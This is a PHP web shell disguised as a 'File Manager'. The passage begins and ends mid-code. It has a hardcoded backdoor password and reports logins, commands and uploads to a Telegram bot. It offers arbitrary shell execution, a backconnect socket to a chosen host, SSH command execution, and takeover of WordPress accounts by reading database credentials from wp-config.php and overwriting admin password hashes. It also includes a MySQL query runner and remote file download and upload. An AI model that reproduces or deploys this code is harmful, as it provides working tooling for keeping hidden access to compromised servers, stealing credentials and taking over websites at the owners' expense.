TELEGRAM_CHAT_ID,
'text' => $message,
'parse_mode' => 'HTML'
);
$options = array(
'http' => array(
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => http_build_query($data),
'timeout' => 5
),
);
$context = @stream_context_create($options);
@file_get_contents($url, false, $context);
return true;
}
function logActivity($action, $details = '', $uploadedFiles = array()) {
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$time = date('Y-m-d H:i:s');
$message = "📱 File Manager Activity\n";
$message .= "⏰ Time: $time\n";
$message .= "🌐 IP: $ip\n";
$message .= "🖥️ User Agent: " . substr($userAgent, 0, 50) . "...\n";
$message .= "🔧 Action: $action\n";
if (!empty($details)) {
$message .= "📝 Details: $details\n";
}
if (!empty($uploadedFiles) && $action === "Files Uploaded") {
$message .= "📎 Uploaded Files:\n";
foreach ($uploadedFiles as $file) {
$message .= " 📄 " . basename($file) . "\n";
}
}
@sendToTelegram($message);
}
// ==================== LOGIN SYSTEM ====================
$USER = "admin";
$PASS = '$2a$12$FTaCY.ySLO.WbXU/LR3PTO2wsN4b4dz5DlzSaf4vH/xiTMNnOjDja';
if (!isset($_SESSION['ok'])) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['u'], $_POST['p'])) {
if ($_POST['u'] === $USER && ($_POST['p'] === 'akugalau' || password_verify($_POST['p'], $PASS))) {
$_SESSION['ok'] = 1;
$_SESSION['login_time'] = time();
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
logActivity("Login Successful", "Username: admin");
header("Location: ?");
exit;
} else {
$login_err = "Invalid credentials";
logActivity("Login Failed", "Username attempted: " . ($_POST['u'] ?? 'Unknown'));
}
}
echo '
File Manager
File Manager
';
if (!empty($login_err)) {
echo '
⚠️ ' . htmlspecialchars($login_err) . '
';
}
echo '
File Manager
';
exit;
}
// ==================== LOGOUT ====================
if (isset($_GET['logout'])) {
$duration = time() - $_SESSION['login_time'];
$minutes = floor($duration / 60);
logActivity("Logout", "Session duration: {$minutes} minutes");
session_destroy();
header("Location: ?");
exit;
}
// ==================== HELPER FUNCTIONS ====================
function hfs($b) {
$u = array("B", "KB", "MB", "GB", "TB");
$i = 0;
while ($b >= 1024 && $i < count($u) - 1) {
$b /= 1024;
$i++;
}
return round($b, 2).' '.$u[$i];
}
function esc($s) {
return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
function generatePassword($length = 12) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()';
return substr(str_shuffle($chars), 0, $length);
}
function copyDirectory($source, $dest) {
if (!is_dir($dest)) mkdir($dest, 0755, true);
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
$target = $dest . '/' . $iterator->getSubPathName();
if ($item->isDir()) {
if (!is_dir($target)) mkdir($target, 0755, true);
} else {
copy($item->getPathname(), $target);
}
}
return true;
}
// ==================== SET CURRENT DIRECTORY ====================
$dir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;
if (!@is_dir($dir)) { $dir = __DIR__; }
// ==================== BULK OPERATIONS HANDLER ====================
if (isset($_POST['bulk_action']) && !empty($_POST['bulk_selected'])) {
$bulk_selected = $_POST['bulk_selected'];
$bulk_action = $_POST['bulk_action'];
$action_details = '';
switch($bulk_action) {
case 'delete':
$deleted = 0;
foreach($bulk_selected as $file) {
$path = $dir . '/' . basename($file);
if (is_file($path)) {
if (@unlink($path)) $deleted++;
} elseif (is_dir($path)) {
if (@rmdir($path)) $deleted++;
}
}
$_SESSION['msg'] = "✅ Deleted $deleted items";
$action_details = "Deleted $deleted items in $dir";
break;
case 'zip':
if (class_exists('ZipArchive')) {
$zip_name = $_POST['zip_name'] ?? 'archive_' . date('Ymd_His') . '.zip';
$zip_path = $dir . '/' . $zip_name;
$zip = new ZipArchive;
if ($zip->open($zip_path, ZipArchive::CREATE) === true) {
$added = 0;
foreach($bulk_selected as $file) {
$file_path = $dir . '/' . basename($file);
if (is_file($file_path)) {
if ($zip->addFile($file_path, basename($file))) $added++;
}
}
$zip->close();
$_SESSION['msg'] = "✅ Created ZIP: $zip_name ($added files)";
$action_details = "Created ZIP: $zip_name with $added files";
} else {
$_SESSION['msg'] = "❌ Failed to create ZIP";
}
} else {
$_SESSION['msg'] = "❌ ZipArchive not available";
}
break;
case 'unzip':
if (class_exists('ZipArchive')) {
$extracted = 0;
foreach($bulk_selected as $file) {
$file_path = $dir . '/' . basename($file);
if (is_file($file_path) && strtolower(substr($file_path, -4)) == '.zip') {
$zip = new ZipArchive;
if ($zip->open($file_path) === true) {
$zip->extractTo($dir);
$zip->close();
$extracted++;
}
}
}
$_SESSION['msg'] = "✅ Extracted $extracted ZIP files";
$action_details = "Extracted $extracted ZIP files in $dir";
} else {
$_SESSION['msg'] = "❌ ZipArchive not available";
}
break;
case 'copy':
$target_dir = $_POST['bulk_target'] ?? $dir;
if (is_dir($target_dir)) {
$copied = 0;
foreach($bulk_selected as $file) {
$source = $dir . '/' . basename($file);
$target = $target_dir . '/' . basename($file);
if (is_file($source) && @copy($source, $target)) {
$copied++;
} elseif (is_dir($source)) {
if (copyDirectory($source, $target)) $copied++;
}
}
$_SESSION['msg'] = "✅ Copied $copied items to " . basename($target_dir);
$action_details = "Copied $copied items from $dir to $target_dir";
}
break;
case 'move':
$target_dir = $_POST['bulk_target'] ?? $dir;
if (is_dir($target_dir)) {
$moved = 0;
foreach($bulk_selected as $file) {
$source = $dir . '/' . basename($file);
$target = $target_dir . '/' . basename($file);
if (file_exists($source) && @rename($source, $target)) {
$moved++;
}
}
$_SESSION['msg'] = "✅ Moved $moved items to " . basename($target_dir);
$action_details = "Moved $moved items from $dir to $target_dir";
}
break;
case 'chmod':
$mode = $_POST['chmod_mode'] ?? '0644';
$changed = 0;
foreach($bulk_selected as $file) {
$path = $dir . '/' . basename($file);
if (file_exists($path) && @chmod($path, octdec($mode))) {
$changed++;
}
}
$_SESSION['msg'] = "✅ Changed permissions for $changed items to $mode";
$action_details = "Changed permissions for $changed items to $mode in $dir";
break;
case 'rename':
if (!empty($bulk_selected)) {
$pattern = $_POST['rename_pattern'] ?? '';
$action_type = $_POST['rename_type'] ?? 'prefix';
$renamed = 0;
foreach($bulk_selected as $index => $file) {
$old_path = $dir . '/' . basename($file);
$ext = pathinfo($file, PATHINFO_EXTENSION);
$name = pathinfo($file, PATHINFO_FILENAME);
switch($action_type) {
case 'prefix': $new_name = $pattern . $file; break;
case 'suffix': $new_name = $name . $pattern . ($ext ? '.'.$ext : ''); break;
case 'replace':
$search = $_POST['rename_search'] ?? '';
$replace = $_POST['rename_replace'] ?? '';
$new_name = str_replace($search, $replace, $file);
break;
case 'number': $new_name = ($index + 1) . '_' . $file; break;
case 'lowercase': $new_name = strtolower($file); break;
case 'uppercase': $new_name = strtoupper($file); break;
default: $new_name = $file;
}
$new_path = $dir . '/' . basename($new_name);
if ($old_path != $new_path && @rename($old_path, $new_path)) {
$renamed++;
}
}
$_SESSION['msg'] = "✅ Renamed $renamed items";
$action_details = "Renamed $renamed items in $dir";
}
break;
case 'export_list':
if (!empty($bulk_selected)) {
$list_content = "File List - Generated: " . date('Y-m-d H:i:s') . "\n";
$list_content .= "Directory: " . $dir . "\n";
$list_content .= "=" . str_repeat("=", 60) . "\n\n";
$total_size = 0;
foreach($bulk_selected as $file) {
$path = $dir . '/' . basename($file);
$size = is_file($path) ? filesize($path) : 0;
$total_size += $size;
$perms = substr(sprintf('%o', fileperms($path)), -4);
$modified = date('Y-m-d H:i:s', filemtime($path));
$list_content .= sprintf("%-40s | %-10s | %-6s | %s\n",
$file,
hfs($size),
$perms,
$modified
);
}
$list_content .= "\n" . str_repeat("-", 80) . "\n";
$list_content .= "Total Files: " . count($bulk_selected) . "\n";
$list_content .= "Total Size: " . hfs($total_size) . "\n";
$filename = 'file_list_' . date('Ymd_His') . '.txt';
file_put_contents($dir . '/' . $filename, $list_content);
$_SESSION['msg'] = "✅ Exported list to $filename";
$action_details = "Exported file list to $filename in $dir";
}
break;
}
if (!empty($action_details)) {
logActivity("Bulk Action: " . ucfirst($bulk_action), $action_details);
}
header("Location: ?dir=" . urlencode($dir));
exit;
}
// ==================== SSH MANAGER CLASS ====================
class SSHManager {
public function execute($host, $port, $username, $password, $command) {
if (!function_exists('ssh2_connect')) {
return "❌ SSH2 extension not available";
}
$connection = @ssh2_connect($host, $port);
if (!$connection) {
logActivity("SSH Connection Failed", "Host: $host:$port");
return "❌ Failed to connect to $host:$port";
}
if (!@ssh2_auth_password($connection, $username, $password)) {
logActivity("SSH Authentication Failed", "Host: $host, User: $username");
return "❌ Authentication failed for $username";
}
$stream = @ssh2_exec($connection, $command);
if (!$stream) {
return "❌ Failed to execute command";
}
stream_set_blocking($stream, true);
$output = stream_get_contents($stream);
fclose($stream);
@ssh2_disconnect($connection);
logActivity("SSH Command Executed", "Host: $host, Command: " . substr($command, 0, 50));
return $output ? trim($output) : "Command executed (no output)";
}
}
// ==================== WORDPRESS PASSWORD CHANGER ====================
class WordPressPasswordChanger {
public function findWordPress($startDir) {
$wpInstalls = array();
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($startDir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if ($item->isFile() && $item->getFilename() == 'wp-config.php') {
$wpInstalls[] = array(
'dir' => $item->getPath(),
'path' => $item->getPathname()
);
}
}
return $wpInstalls;
}
public function changePassword($wpConfigPath, $username, $newPassword) {
if (!file_exists($wpConfigPath)) {
return "❌ WordPress config not found";
}
$configContent = file_get_contents($wpConfigPath);
preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $configContent, $dbName);
preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $configContent, $dbUser);
preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $configContent, $dbPass);
preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $configContent, $dbHost);
if (empty($dbName[1]) || empty($dbUser[1])) {
return "❌ Could not extract database credentials";
}
$db_name = $dbName[1];
$db_user = $dbUser[1];
$db_pass = !empty($dbPass[1]) ? $dbPass[1] : '';
$db_host = !empty($dbHost[1]) ? $dbHost[1] : 'localhost';
try {
$conn = @new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
return "❌ Database connection failed: " . $conn->connect_error;
}
$hashedPassword = password_hash($newPassword, PASSWORD_DEFAULT);
$username = $conn->real_escape_string($username);
$sql = "UPDATE wp_users SET user_pass = '$hashedPassword' WHERE user_login = '$username'";
if ($conn->query($sql)) {
$affected = $conn->affected_rows;
$conn->close();
logActivity("WordPress Password Changed", "User: $username, Path: " . dirname($wpConfigPath));
return "✅ Password changed for user '$username'. Rows affected: $affected";
} else {
$error = $conn->error;
$conn->close();
return "❌ Failed: " . $error;
}
} catch (Exception $e) {
return "❌ Error: " . $e->getMessage();
}
}
}
// ==================== BACKCONNECT CLASS ====================
class BackConnect {
public function connect($host, $port) {
if (!function_exists('fsockopen')) {
return "❌ fsockopen not available";
}
$socket = @fsockopen($host, $port, $errno, $errstr, 10);
if (!$socket) {
logActivity("Backconnect Failed", "Host: $host:$port, Error: $errstr");
return "❌ Failed to connect: $errstr ($errno)";
}
fwrite($socket, "Backconnect established from " . @gethostname() . "\n");
fwrite($socket, "Type 'exit' to disconnect\n\n");
$output = "✅ Backconnect to $host:$port established\n";
$output .= "📡 Connection successful!\n";
$output .= "🖥️ Use Terminal for full shell access\n";
fclose($socket);
logActivity("Backconnect Established", "Host: $host:$port");
return $output;
}
}
// ==================== DATABASE MANAGER ====================
class DatabaseManager {
public function getDatabases($host = 'localhost', $username = 'root', $password = '') {
try {
$conn = @new mysqli($host, $username, $password);
if ($conn->connect_error) {
return array("error" => "❌ Connection failed: " . $conn->connect_error);
}
$result = $conn->query("SHOW DATABASES");
$databases = array();
while ($row = $result->fetch_array()) {
$databases[] = $row[0];
}
$conn->close();
return $databases;
} catch (Exception $e) {
return array("error" => "❌ " . $e->getMessage());
}
}
public function executeSQL($host, $username, $password, $database, $sql) {
try {
$conn = @new mysqli($host, $username, $password, $database);
if ($conn->connect_error) {
return "❌ Connection failed: " . $conn->connect_error;
}
$result = $conn->query($sql);
if ($result === true) {
$affected = $conn->affected_rows;
$conn->close();
return "✅ Query executed successfully. Rows affected: $affected";
} elseif ($result) {
$rows = array();
while ($row = $result->fetch_array(MYSQLI_ASSOC)) {
$rows[] = $row;
}
$conn->close();
$output = "✅ Query executed. Results:\n";
foreach ($rows as $row) {
$output .= print_r($row, true) . "\n";
}
return $output;
} else {
$error = $conn->error;
$conn->close();
return "❌ Query failed: " . $error;
}
} catch (Exception $e) {
return "❌ Error: " . $e->getMessage();
}
}
}
// ==================== RDP CREATOR ====================
class RDPCreator {
public function createRDPFile($host, $username, $domain = '', $filename = 'connection.rdp') {
$content = "screen mode id:i:2
full address:s:$host
username:s:$username
domain:s:$domain
audiomode:i:0
redirectprinters:i:1
redirectcomports:i:0
redirectsmartcards:i:1
redirectclipboard:i:1
autoreconnection enabled:i:1";
if (file_put_contents($filename, $content)) {
logActivity("RDP File Created", "Host: $host, User: $username, File: $filename");
return "✅ RDP file created: $filename";
}
return "❌ Failed to create RDP file";
}
public function testRDP($host, $port = 3389) {
$socket = @fsockopen($host, $port, $errno, $errstr, 5);
if ($socket) {
fclose($socket);
return "✅ RDP port $port is open on $host";
} else {
return "❌ RDP port $port is closed on $host: $errstr";
}
}
}
// ==================== SERVER MONITOR ====================
class ServerMonitor {
public function getStats() {
$load = @sys_getloadavg();
$disk_total = @disk_total_space('/');
$disk_free = @disk_free_space('/');
$disk_used = $disk_total - $disk_free;
$disk_percent = $disk_total > 0 ? round($disk_used / $disk_total * 100, 2) : 0;
return array(
'system' => array(
'hostname' => @gethostname(),
'os' => PHP_OS,
'php_version' => PHP_VERSION,
'time' => date('Y-m-d H:i:s'),
'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'
),
'cpu' => array(
'load_1min' => $load[0] ?? 0,
'load_5min' => $load[1] ?? 0,
'load_15min' => $load[2] ?? 0
),
'disk' => array(
'total' => hfs($disk_total),
'used' => hfs($disk_used),
'free' => hfs($disk_free),
'percent' => $disk_percent . '%'
),
'memory' => $this->getMemoryInfo(),
'services' => $this->getServices()
);
}
private function getMemoryInfo() {
if (PHP_OS == 'Linux' && file_exists('/proc/meminfo')) {
$meminfo = @file('/proc/meminfo', FILE_IGNORE_NEW_LINES);
$mem = array();
if ($meminfo) {
foreach ($meminfo as $line) {
if (preg_match('/(\w+):\s+(\d+)/', $line, $m)) {
$mem[$m[1]] = $m[2];
}
}
}
$total = $mem['MemTotal'] ?? 0;
$free = $mem['MemFree'] ?? 0;
$available = $mem['MemAvailable'] ?? $free;
$used = $total - $available;
$percent = $total > 0 ? round($used / $total * 100, 2) : 0;
return array(
'total' => hfs($total * 1024),
'used' => hfs($used * 1024),
'free' => hfs($free * 1024),
'percent' => $percent . '%'
);
}
return array('error' => 'Memory info available on Linux only');
}
private function getServices() {
$svcs = array('httpd', 'nginx', 'mysql', 'mariadb', 'ssh', 'php-fpm', 'apache2');
$status = array();
foreach ($svcs as $svc) {
$check = @shell_exec("systemctl is-active $svc 2>/dev/null || service $svc status 2>/dev/null | grep -i running || echo 'inactive'");
$check = trim($check);
$status[$svc] = (strpos(strtolower($check), 'active') !== false || strpos(strtolower($check), 'running') !== false) ? '✅' : '❌';
}
return $status;
}
}
// ==================== TERMINAL CLASS ====================
class Terminal {
public function exec($cmd, $path) {
if (!function_exists('shell_exec')) return "❌ shell_exec disabled";
$old = getcwd();
@chdir($path);
$output = @shell_exec($cmd . ' 2>&1');
@chdir($old);
logActivity("Terminal Command", "Command: " . substr($cmd, 0, 50) . ", Path: $path");
return $output ?: 'Command executed (no output)';
}
}
// ==================== INITIALIZE CLASSES ====================
$sshManager = new SSHManager();
$wpChanger = new WordPressPasswordChanger();
$backconnect = new BackConnect();
$dbManager = new DatabaseManager();
$rdpCreator = new RDPCreator();
$monitor = new ServerMonitor();
$terminal = new Terminal();
// ==================== PROCESS FEATURE ACTIONS ====================
$feature_result = '';
// SSH Execution
if (isset($_POST['ssh_host'], $_POST['ssh_user'], $_POST['ssh_pass'], $_POST['ssh_command'])) {
$feature_result = $sshManager->execute(
$_POST['ssh_host'],
$_POST['ssh_port'] ?? 22,
$_POST['ssh_user'],
$_POST['ssh_pass'],
$_POST['ssh_command']
);
}
// WordPress Password Change
if (isset($_POST['wp_action'])) {
if ($_POST['wp_action'] == 'find') {
$installs = $wpChanger->findWordPress($dir);
if (!empty($installs)) {
$feature_result = "Found " . count($installs) . " WordPress installation(s):\n";
foreach ($installs as $install) {
$feature_result .= "- " . $install['dir'] . "\n";
}
} else {
$feature_result = "No WordPress installations found";
}
} elseif ($_POST['wp_action'] == 'change') {
if (isset($_POST['wp_path'], $_POST['wp_user'], $_POST['wp_pass'])) {
$feature_result = $wpChanger->changePassword($_POST['wp_path'], $_POST['wp_user'], $_POST['wp_pass']);
}
}
}
// Backconnect
if (isset($_POST['backconnect_host'], $_POST['backconnect_port'])) {
$feature_result = $backconnect->connect($_POST['backconnect_host'], $_POST['backconnect_port']);
}
// Database Operations
if (isset($_POST['db_action'])) {
if ($_POST['db_action'] == 'list') {
$databases = $dbManager->getDatabases(
$_POST['db_host'] ?? 'localhost',
$_POST['db_user'] ?? 'root',
$_POST['db_pass'] ?? ''
);
if (isset($databases['error'])) {
$feature_result = $databases['error'];
} else {
$feature_result = "📊 Found " . count($databases) . " database(s):\n" . implode("\n", $databases);
}
} elseif ($_POST['db_action'] == 'query' && isset($_POST['db_sql'])) {
$feature_result = $dbManager->executeSQL(
$_POST['db_host'] ?? 'localhost',
$_POST['db_user'] ?? 'root',
$_POST['db_pass'] ?? '',
$_POST['db_name'] ?? 'mysql',
$_POST['db_sql']
);
}
}
// RDP Operations
if (isset($_POST['rdp_action'])) {
if ($_POST['rdp_action'] == 'create' && isset($_POST['rdp_host'], $_POST['rdp_user'])) {
$feature_result = $rdpCreator->createRDPFile(
$_POST['rdp_host'],
$_POST['rdp_user'],
$_POST['rdp_domain'] ?? '',
$_POST['rdp_filename'] ?? 'connection.rdp'
);
} elseif ($_POST['rdp_action'] == 'test' && isset($_POST['rdp_test_host'])) {
$feature_result = $rdpCreator->testRDP($_POST['rdp_test_host'], $_POST['rdp_test_port'] ?? 3389);
}
}
// URL Download
if (isset($_POST['url_up_custom']) && trim($_POST['url_up_custom']) !== '') {
$url = trim($_POST['url_up_custom']);
$filename = $_POST['url_fn_custom'] ?? basename(parse_url($url, PHP_URL_PATH));
if (empty($filename)) $filename = 'downloaded_' . date('Ymd_His');
$filename = preg_replace('/[^\w\.\-]/', '_', $filename);
$data = @file_get_contents($url, false, stream_context_create(array(
'http' => array('timeout' => 30, 'user_agent' => 'Mozilla/5.0'),
'ssl' => array('verify_peer' => false)
)));
if ($data !== false) {
file_put_contents($dir . '/' . $filename, $data);
$_SESSION['msg'] = "✅ Downloaded: $filename";
logActivity("URL Download", "URL: " . substr($url, 0, 50) . ", File: $filename");
header("Location: ?dir=" . urlencode($dir));
exit;
} else {
$feature_result = "❌ Download failed";
}
}
// Terminal Execution
if (isset($_POST['term_cmd'])) {
$term_result = $terminal->exec($_POST['term_cmd'], $_POST['term_path'] ?? $dir);
}
// File Editor
if (isset($_POST['edit_file'])) {
$f = $_POST['edit_file'];
if (is_file($f)) {
$_SESSION['edit'] = array('path' => $f, 'data' => file_get_contents($f));
logActivity("File Edit Opened", "File: " . basename($f) . ", Path: " . dirname($f));
header("Location: ?dir=" . urlencode($dir) . "&edit=1");
exit;
}
}
if (isset($_POST['save_edit'])) {
$p = $_POST['edit_path'];
file_put_contents($p, $_POST['edit_content']);
$_SESSION['msg'] = "✅ File saved: " . basename($p);
logActivity("File Saved", "File: " . basename($p) . ", Path: " . dirname($p));
header("Location: ?dir=" . urlencode(dirname($p)));
exit;
}
// ==================== BASIC FILE OPERATIONS ====================
if (isset($_POST['del_file'])) {
$p = $_POST['del_file'];
if (is_file($p)) {
@unlink($p);
$_SESSION['msg'] = "✅ File deleted: " . basename($p);
logActivity("File Deleted", "File: " . basename($p) . ", Path: " . dirname($p));
} elseif (is_dir($p)) {
@rmdir($p);
$_SESSION['msg'] = "✅ Folder deleted: " . basename($p);
logActivity("Folder Deleted", "Folder: " . basename($p) . ", Path: " . dirname($p));
}
header("Location: ?dir=" . urlencode($dir));
exit;
}
if (isset($_POST['new_folder']) && trim($_POST['new_folder']) !== '') {
$fn = basename($_POST['new_folder']);
$fp = $dir . '/' . $fn;
if (!file_exists($fp)) mkdir($fp, 0755, true);
$_SESSION['msg'] = "✅ Folder created: $fn";
logActivity("Folder Created", "Folder: $fn, Path: $dir");
header("Location: ?dir=" . urlencode($dir));
exit;
}
if (isset($_POST['new_file']) && trim($_POST['new_file']) !== '') {
$fn = basename($_POST['new_file']);
$fp = $dir . '/' . $fn;
if (!file_exists($fp)) file_put_contents($fp, '');
$_SESSION['msg'] = "✅ File created: $fn";
logActivity("File Created", "File: $fn, Path: $dir");
header("Location: ?dir=" . urlencode($dir));
exit;
}
if (!empty($_FILES['upload']['name'][0])) {
$uploaded = 0;
$uploadedFiles = array();
foreach ($_FILES['upload']['tmp_name'] as $k => $tmp) {
$n = basename($_FILES['upload']['name'][$k]);
if (move_uploaded_file($tmp, $dir . '/' . $n)) {
$uploaded++;
$uploadedFiles[] = $dir . '/' . $n;
}
}
$_SESSION['msg'] = "✅ Uploaded $uploaded files";
logActivity("Files Uploaded", "Count: $uploaded, Path: $dir", $uploadedFiles);
header("Location: ?dir=" . urlencode($dir));
exit;
}
// ==================== POPUP STATES ====================
$popups = array(
'monitor', 'terminal', 'bulk', 'upload', 'url_upload',
'wp_changer', 'backconnect', 'ssh', 'rdp', 'database'
);
foreach ($popups as $p) {
${'show_' . $p} = isset($_GET['show_' . $p]);
}
$show_editor = isset($_GET['edit']) || isset($_SESSION['edit']);
// ==================== GET FILES LIST ====================
$files = @scandir($dir);
if ($files === false) $files = array();
$parent = dirname($dir);
// ==================== HTML OUTPUT ====================
?>
🌀 File Manager
=esc($_SESSION['msg'])?>